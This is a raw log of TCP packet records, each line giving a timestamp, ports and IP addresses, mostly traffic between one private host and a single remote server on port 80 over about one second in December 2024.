Dec 19, 2024 20:11:14.984390974 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.984901905 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.984942913 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.985043049 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.985088110 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.985991955 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.986041069 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.986488104 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.986534119 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.987049103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.987092972 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.987230062 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.987272978 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.988132000 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.988142967 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.988249063 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.989171028 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.989219904 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.989780903 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.989833117 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.990179062 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.990228891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.990302086 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.990349054 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.991225004 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.991274118 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.991441965 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.991487026 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.992409945 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.992465019 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.992738962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.992789984 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.993402004 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.993451118 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.993541956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.993586063 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.994395018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.994453907 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.994765043 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.994812965 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.995438099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.995487928 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.995759964 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.995806932 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.996520042 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.996572971 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.996939898 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.996988058 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.997586966 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.997637987 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.997698069 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.997740984 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.998625994 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.998677969 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.998933077 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.998980045 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:14.999726057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:14.999774933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.000068903 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.000114918 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.000781059 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.000844002 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.000869989 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.000881910 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.001796961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.001847029 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.002090931 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.002130985 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.002931118 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.002999067 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.003540039 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.003592968 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.004076958 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.004126072 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.004152060 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.004199982 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.005086899 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.005141020 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.005628109 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.005678892 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.005991936 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.006040096 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.006189108 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.006239891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.007083893 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.007143974 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.007210970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.007250071 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.008081913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.008183956 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.008338928 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.008384943 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.009221077 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.009274006 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.009321928 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.009361982 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.010207891 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.010260105 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.010312080 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.010351896 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.011231899 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.011276960 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.011464119 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.011504889 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.012355089 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.012367010 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.012408018 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.013405085 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.013451099 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.013498068 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.013539076 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.014416933 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.014463902 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.014682055 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.014724016 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.015465021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.015517950 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.015952110 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.015999079 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.016613960 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.016628027 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.016663074 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.017608881 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.017652988 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.017780066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.017822027 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.018721104 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.018773079 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.018832922 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.018877029 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.020123005 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.020143986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.020180941 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.020224094 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.020719051 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.020767927 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.158303976 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.158371925 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.158528090 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.158569098 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.159070969 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.159116983 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.159321070 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.159363031 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.159831047 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.159872055 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.159981012 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.160021067 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.161026955 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.161067963 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.161190987 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.161231995 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.161308050 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.161345005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.162218094 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.162290096 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.162331104 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.162372112 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.163239956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.163281918 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.163376093 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.163417101 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.164288998 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.164329052 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.165112972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.165153980 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.165576935 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.165601015 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.165618896 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.165642023 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.166343927 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.166387081 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.166465998 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.166507959 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.167423964 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.167468071 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.167530060 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.167573929 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.168447971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.168489933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.169049025 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.169092894 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.169498920 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.169542074 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.169836044 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.169878960 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.170694113 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.170739889 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.170790911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.170830011 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.171595097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.171641111 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.172184944 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.172226906 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.172801971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.172821999 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.172842026 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.172863007 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.173760891 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.173845053 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.173887968 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.174020052 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.174782038 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.174822092 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.175247908 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.175287962 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.175826073 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.175870895 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.176687956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.176726103 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.177120924 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.177131891 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.177158117 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.177192926 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.177988052 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.178034067 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.178872108 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.178917885 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.179054976 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.179066896 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.179097891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.180383921 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.180433989 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.180619001 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.180663109 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.181257010 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.181269884 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.181304932 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.182146072 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.182210922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.182318926 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.182363987 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.183526993 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.183573008 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.183641911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.183685064 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.184298992 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.184344053 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.184582949 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.184637070 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.185332060 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.185378075 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.185868979 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.185916901 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.186615944 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.186629057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.186661005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.186681032 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.187594891 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.187637091 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.187686920 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.187727928 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.188554049 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.188597918 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.188694954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.188735008 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.189522028 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.189532042 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.189594030 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.190639973 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.190690041 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.190753937 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.190793037 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.191613913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.191657066 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.191684961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.191734076 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.192684889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.192697048 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.192737103 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.193775892 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.193830013 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.193931103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.193972111 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.194797039 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.194847107 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.195008993 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.195046902 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.195825100 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.195874929 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.196177959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.196223974 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.196897984 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.196945906 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.197222948 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.197312117 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.198029995 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.198076010 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.198450089 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.198496103 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.199028015 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.199038982 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.199081898 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.201448917 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.201505899 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.201574087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.201586008 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.201617002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.201637983 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.201904058 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.202008963 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.202433109 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.202487946 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.202655077 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.202699900 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.203303099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.203351021 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.203416109 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.203475952 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.204590082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.204639912 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.204921961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.204969883 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.206222057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.206265926 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.206424952 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.206464052 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.207097054 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.207144976 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.207420111 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.207463026 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.207937002 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.207984924 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.208066940 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.208106995 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.209362984 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.209376097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.209410906 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.209566116 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.209603071 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:15.354059935 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:15.354129076 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:16.981528044 CET	49785	443	192.168.2.4	185.215.113.64
Dec 19, 2024 20:11:16.981559038 CET	443	49785	185.215.113.64	192.168.2.4
Dec 19, 2024 20:11:16.981648922 CET	49785	443	192.168.2.4	185.215.113.64
Dec 19, 2024 20:11:17.097645998 CET	49785	443	192.168.2.4	185.215.113.64
Dec 19, 2024 20:11:17.097666979 CET	443	49785	185.215.113.64	192.168.2.4
Dec 19, 2024 20:11:17.097748995 CET	443	49785	185.215.113.64	192.168.2.4
Dec 19, 2024 20:11:17.301095963 CET	49787	80	192.168.2.4	104.26.0.231
Dec 19, 2024 20:11:17.420989037 CET	80	49787	104.26.0.231	192.168.2.4
